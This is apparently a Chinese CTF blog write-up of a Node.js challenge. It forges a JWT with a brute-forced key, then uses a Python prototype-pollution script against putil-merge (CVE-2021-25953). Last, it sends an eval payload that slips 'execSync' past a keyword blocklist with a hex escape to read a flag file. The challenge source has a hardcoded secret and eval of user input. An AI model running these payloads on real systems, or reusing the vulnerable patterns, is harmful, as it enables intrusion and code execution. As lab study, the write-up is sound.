Node.js一道命令执行踩坑记

长时间没做题了,老年人今天喷到一道js的命令执行题,做了两个多小时-_-,水篇博客记录一下

先把题目源码放这:

const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "toor";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

var Super = {};

var safecode = function (code){
  let validInput = /global|mainModule|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;
  return !validInput.test(code);
};

app.all('/code', (req, res) => {
  res.type('html');
  if (req.method == "POST" && req.body) {
    putil_merge({}, req.body, {deep:true});
  }
  res.send("welcome to code");
});

app.get('/source', (req, res) => {
  res.type('html');
  var auth = req.cookies.auth;
  jwt.verify(auth, jwt_secret , function(err, decoded) {
    if(decoded.user==='admin'){
      res.sendFile(path.join(__dirname + '/app.js'));
    }else{
      res.end('you are not admin');
    }
  });
});

app.all('/root', (req, res) => {
  res.type('html');
  code = req.body.code;
  console.log(req.body.key);
  if (!req.body.key || req.body.key === undefined || req.body.key === null){
    res.send("please input key");
  }else {
    if (Super['userid'] === 'Superadmin'+req.body.key) {
      if (!safecode(code)) {
        res.send("forbidden!")
      } else {
        res.send(eval(code));
      }
    }else {
      res.send("You are not the Super");
    }
  }
});

app.get('/',(req, res) => {
    res.type('html');
    var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' });
    res.cookie('auth ',token);
    res.end('Only admin can get source in /source');

});

app.listen(3000, () => console.log('Server started on port 3000'));

打开题目,映入眼帘的是

提醒我们需要成为admin才能看到源码,我们先访问一下/source,并且抓个包

发现Cookie这里存在一个长得像jwt的东西,我们扔到jwt.io里面解码一下

确实是有一个guest,直接改成admin,传入,还是不行,那么我们就要考虑拿到加密密钥,但是这里不存在什么SSTI可以读config,那么我们就尝试爆破一下jwt的key

得到key:toor,用toor来加密admin,得到密文再次传入,这次就可以拿到源码了(就是文章开头的那段)

大致的审了一下,这个是存在一个/root和一个/code路由的,在/root路由中,我们需要保证传入的key加上Superadmin前缀与Super.userid的值相同,并且code中不能存在被禁用的关键字,然后就可以使用eval来进行命令执行。

左思右想不知道怎么才能拿到Super.userid的值,突然把源码网上拉,发现Super一开始就是空的,再看一下/code路由下,发现有一个merge操作,这就不得不想到利用原型链污染来污染Super,从而使得userid可控,这样就可以进行命令执行了

Google了一下,发现了一个CVE:https://www.mend.io/vulnerability-database/CVE-2021-25953

这个是putil-merge的一个原型链污染的洞,用他的Poc本地测试了一下,确实是可以污染到的

但是在远程打就是无法污染到,本地搭建的环境在污染后console.log一下userid,依然是undefined。我在考虑是不是他版本高了这洞修了,然后在查原型链污染的资料的时候突然发现,原来是请求报文里面Content-type这个头必须要是application/json,当场给我自己整无语了-_-

这次用网上嫖来的脚本来打

import requests
import json
req = requests.Session()
target_url = 'http://localhost:3000/code'
headers = {'Content-type': 'application/json'}
# payload = {"__proto__": {"role": "admin"}}
payload = {"constructor": {"prototype": {"userid": "Superadminaaa"}}}
res = req.post(target_url, data=json.dumps(payload),headers=headers)
print('攻击完成!')

传入key=aaa就可以利用code进行命令执行了

在这里遇到了问题,exec,read都被禁用了该怎么读flag文件呢?

引用一篇大哥的文章
https://www.anquanke.com/post/id/237032#h3-9

这里比较详细的介绍了exec被禁用了的一些常见Bypass技巧,本文就不多说了

直接拿十六进制来绕过exec的限制,最后的payload:

require("child_process")["exe\x63Sync"]("cat /fl4ggg")

拿到远程的flag:

本题Wp未经出题人许可,如有侵权,请联系作者删除

点赞

发表回复

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像